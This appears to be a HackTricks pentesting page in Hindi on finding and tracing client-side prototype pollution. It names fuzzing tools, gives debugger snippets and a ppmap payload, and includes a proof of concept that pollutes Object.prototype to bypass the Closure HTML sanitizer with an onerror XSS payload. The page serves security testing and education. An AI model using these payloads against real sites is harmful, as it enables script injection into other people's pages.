Client Side Prototype Pollution

HackTricks का समर्थन करें

स्वचालित उपकरणों का उपयोग करके खोज करना

उपकरण https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap और https://github.com/kosmosec/proto-find का उपयोग प्रोटोटाइप प्रदूषण कमजोरियों को खोजने के लिए किया जा सकता है।

इसके अलावा, आप ब्राउज़र एक्सटेंशन PPScan का उपयोग करके स्वचालित रूप से स्कैन कर सकते हैं पृष्ठों को जिनका आप पहुँच करते हैं प्रोटोटाइप प्रदूषण कमजोरियों के लिए।

यह पता लगाना कि एक प्रॉपर्टी कहाँ उपयोग की जाती है

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Prototype Pollution के मूल कारण का पता लगाना

एक बार जब किसी भी उपकरण द्वारा एक प्रोटोटाइप प्रदूषण की भेद्यता की पहचान की जाती है, और यदि कोड अत्यधिक जटिल नहीं है, तो आप Chrome Developer Tools में location.hash, decodeURIComponent, या location.search जैसे कीवर्ड्स की खोज करके भेद्यता को ढूंढ सकते हैं। यह दृष्टिकोण आपको JavaScript कोड के संवेदनशील भाग को सटीक रूप से पहचानने की अनुमति देता है।

बड़े और अधिक जटिल कोडबेस के लिए, संवेदनशील कोड का पता लगाने के लिए एक सीधा तरीका निम्नलिखित चरणों में शामिल है:

  1. एक उपकरण का उपयोग करें ताकि एक भेद्यता की पहचान की जा सके और एक पेलोड प्राप्त किया जा सके जो कंस्ट्रक्टर में एक प्रॉपर्टी सेट करने के लिए डिज़ाइन किया गया हो। ppmap द्वारा प्रदान किया गया एक उदाहरण इस प्रकार हो सकता है: constructor[prototype][ppmap]=reserved

  2. उस पहले JavaScript कोड की पंक्ति पर एक ब्रेकपॉइंट सेट करें जो पृष्ठ पर निष्पादित होगा। पेलोड के साथ पृष्ठ को रिफ्रेश करें, इस ब्रेकपॉइंट पर निष्पादन को रोकते हुए।

  3. जब JavaScript निष्पादन रुका हो, तो JS कंसोल में निम्नलिखित स्क्रिप्ट निष्पादित करें। यह स्क्रिप्ट संकेत देगी जब 'ppmap' प्रॉपर्टी बनाई जाती है, जिससे इसके मूल का पता लगाने में मदद मिलेगी:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Sources टैब पर वापस जाएं और "Resume script execution" का चयन करें। JavaScript निष्पादन जारी रखेगा, और 'ppmap' प्रॉपर्टी अपेक्षित रूप से प्रदूषित हो जाएगी। प्रदान किए गए स्निपेट का उपयोग 'ppmap' प्रॉपर्टी के प्रदूषण के सटीक स्थान की पहचान करने में मदद करता है। Call Stack की जांच करके, विभिन्न स्टैक्स देखे जा सकते हैं जहां प्रदूषण हुआ।

जब यह तय करने की बात आती है कि किस स्टैक की जांच करनी है, तो अक्सर JavaScript लाइब्रेरी फ़ाइलों से संबंधित स्टैक्स को लक्षित करना उपयोगी होता है, क्योंकि प्रोटोटाइप प्रदूषण अक्सर इन लाइब्रेरीज़ के भीतर होता है। लाइब्रेरी फ़ाइलों से इसके जुड़ाव की जांच करके प्रासंगिक स्टैक की पहचान करें (जो दाईं ओर दिखाई देता है, मार्गदर्शन के लिए प्रदान की गई छवि के समान)। कई स्टैक्स के मामलों में, जैसे कि लाइन 4 और 6 पर, तार्किक विकल्प लाइन 4 का स्टैक है, क्योंकि यह प्रदूषण की प्रारंभिक घटना का प्रतिनिधित्व करता है और इस प्रकार भेद्यता का मूल कारण है। स्टैक पर क्लिक करने से आपको संवेदनशील कोड पर ले जाया जाएगा।

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

स्क्रिप्ट गैजेट्स खोजना

गैजेट वह कोड है जिसका दुरुपयोग एक PP भेद्यता के खोजे जाने पर किया जाएगा

यदि एप्लिकेशन सरल है, तो हम srcdoc/innerHTML/iframe/createElement जैसे कीवर्ड्स के लिए खोज कर सकते हैं और स्रोत कोड की समीक्षा कर सकते हैं और जांच सकते हैं कि क्या यह जावास्क्रिप्ट निष्पादन की ओर ले जाता है। कभी-कभी, उल्लेखित तकनीकें गैजेट्स नहीं खोज पाती हैं। उस मामले में, शुद्ध स्रोत कोड समीक्षा कुछ अच्छे गैजेट्स का खुलासा करती है जैसे कि नीचे दिया गया उदाहरण।

उदाहरण: मिथिल लाइब्रेरी कोड में PP गैजेट खोजना

इस लेख को देखें: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

संवेदनशील लाइब्रेरी के लिए पेलोड्स का पुनः संकलन

PP के माध्यम से HTML Sanitizers बायपास

यह शोध कुछ HTML sanitizers लाइब्रेरी द्वारा प्रदान की गई सैनिटाइजेशन को बायपास करने के लिए PP गैजेट्स दिखाता है:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

संदर्भ

HackTricks का समर्थन करें

Last updated